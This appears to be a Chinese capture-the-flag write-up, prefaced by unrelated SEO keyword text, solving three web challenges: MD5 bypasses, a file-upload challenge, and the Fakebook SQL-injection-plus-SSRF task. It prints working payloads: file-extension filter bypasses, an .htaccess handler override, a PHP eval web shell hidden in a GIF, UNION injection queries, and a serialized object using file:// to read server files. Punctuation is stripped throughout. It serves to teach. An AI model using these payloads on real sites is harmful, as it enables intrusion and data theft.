做原创视频网站,怎样查网站谁做的,网站的导入流量怎么做,上海高端网站开发公司[BJDCTF2020]Easy MD51
进入题目页面#xff0c;题目提示有一个链接#xff0c;应该是题目源码 进入环境#xff0c;是一个查询框#xff0c;无论输入什么都没有回显#xff0c;查看源码也没什么用 利用bp抓包查看有没有什么有用的东西 发现响应的Hint那里有一个sql语句题目提示有一个链接应该是题目源码 进入环境是一个查询框无论输入什么都没有回显查看源码也没什么用 利用bp抓包查看有没有什么有用的东西 发现响应的Hint那里有一个sql语句密码password进行了MD5加密
接着查看下载的附件源码在leveldo4.php文件中提到要passwordffifdyop才会回显下一个页面那么就输入ffifdyop提交查询 输入 ffifdyop得到新页面 接着查看源码 源码要求用a,b进行传参ab,且a和b的md5值要相等那么就利用数组绕过md5
payload?a[]1b[]2
得到新页面 这里要求用POST进行传参参数param1param2,但是param1和param2的md5值要相等才会给出flag接着利用数组绕过,得到flag
payloadparam1[]1param2[]2 [GXYCTF2019]BabyUpload1 文件上传要求上传图片一样的操作上传图片抓包改后缀 结果php后缀被过滤了 那就绕过
1、前端绕过抓包修改后缀名
2、文件内容绕过用图片马抓包修改后缀绕过
3、黑名单绕过,那么我们可以改成phtml抓包绕过
4、.htaccess绕过只要有这个配置文件并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
5、大小写绕过抓包后修改后缀为.PHp
6、空格绕过抓包修改后缀在后缀后面加上空格
7、点绕过抓包修改后缀在后缀后面加上点
8.什么删掉我的空格或者.,那我抓包修改为. .或者 . |
9、文件流绕过前提条件必须是window的服务器抓包修改后缀并在后缀后面加上::$DATA,
10、双拼绕过抓包修改后缀并在把后缀改成phphpp这样后端去掉php还剩下个ph和p组合
成为php
要重新上传php图片马就需要上传.htaccess文件 FilesMatch 1234.jpg SetHandler application/x-httpd-php /FilesMatch //将文件名为1234.jpg格式的文件以Php形式执行 重新上传图片马
既然php无法上传那就改马 GIF89a? script languagephpeval($_POST[abc]);/script 蚁剑连接查看文件找到flag
htaccess 文件的作用
一、htaccess 文件是Apache服务器中的一个配置文件用于实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
二、htaccess可以帮我们实现包括文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表以及使用其他文件作为index文件等一些功能。
三、管理员可以通过Apache的AllowOverride指令来设置。
四、.htaccess文件(或者分布式配置文件提供了针对目录改变配置的方法 即在一个特定的文档目录中放置一个包含一个或多个指令的文件 以作用于此目录及其所有子目录。作为用户所能使用的命令受到限制。
[网鼎杯 2018]Fakebook1
进入环境按照要求注册用户并进入页面 发现注入点no no1 order by 4 //查看列数无报错no1 order by 5 //报错有4列no-1 union/**/select 1,2,3,4 //过滤了(union select)用/**/代替空格 回显出现反序列化函数unserialize()
爆表名
no-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase() 爆属性列
no-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schemadatabase() and table_nameusers爆字段发现反序列化代码
no-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from usersrobots.txt查出源码
?phpclass UserInfo
{public $name ;public $age 0;public $blog ;public function __construct($name, $age, $blog){$this-name $name;$this-age (int)$age;$this-blog $blog;}function get($url){$ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output curl_exec($ch);$httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this-get($this-blog);}public function isValidBlog (){$blog $this-blog;return preg_match(/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]\.)[a-zA-Z]{2,6}(\:[0-9])?(\/\S*)?$/i, $blog);}}
根据源码get($url)没有校验blog是否是http协议可以通过file协议读取系统上的文件
注册时会序列化我们的信息回显到页面时再反序列化。
修改自己最后blog字段内容改为file:///var/www/html/flag.php并把对应的s改为对应长度29
O:8:UserInfo:3:{s:4:name;s:3:123;s:3:age;i:123;s:4:blog;s:29:file:///var/www/html/flag.php;}data字段在第4位所以放在第4位。 构造payload
no-1 union/**/select 1,2,3,O:8:UserInfo:3:{s:4:name;s:3:123;s:3:age;i:123;s:4:blog;s:29:file:///var/www/html/flag.php;}看源码点击blog的链接 得到flag 另一种解法
由于sql注入没有过滤load_file直接取得flag
no-1 union/**/select 1,load_file(/var/www/html/flag.php),3,4查看源码得到flag 知识点
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF是要目标网站的内部系统。因为他是从内部系统访问的所有可以通过它攻击外网无法访问的内部系统也就是把目标网站当中间人
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容加载指定地址的图片文档等等。
举例 A网站是一个所有人都可以访问的外网网站B网站是一个他们内部的OA网站。 所以我们普通用户只可以访问a网站不能访问b网站。但是我们可以同过a网站做中间人访问b网站从而达到攻击b网站需求。
一.SSRF伪协议漏洞注入 可能产生SSRF的函数 1、file_get_contents: 2、sockopen(): 3、curl_exec(): 4.fopen(): 二.SSRF中的伪协议 file协议 在有回显的情况下利用 file 协议可以读取任意文件的内容 dict协议泄露安装软件版本信息查看端口操作内网redis服务等 gopher协议gopher支持发出GET、POST请求。可以先截获get请求包和post请求包再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell http/s协议探测内网主机存活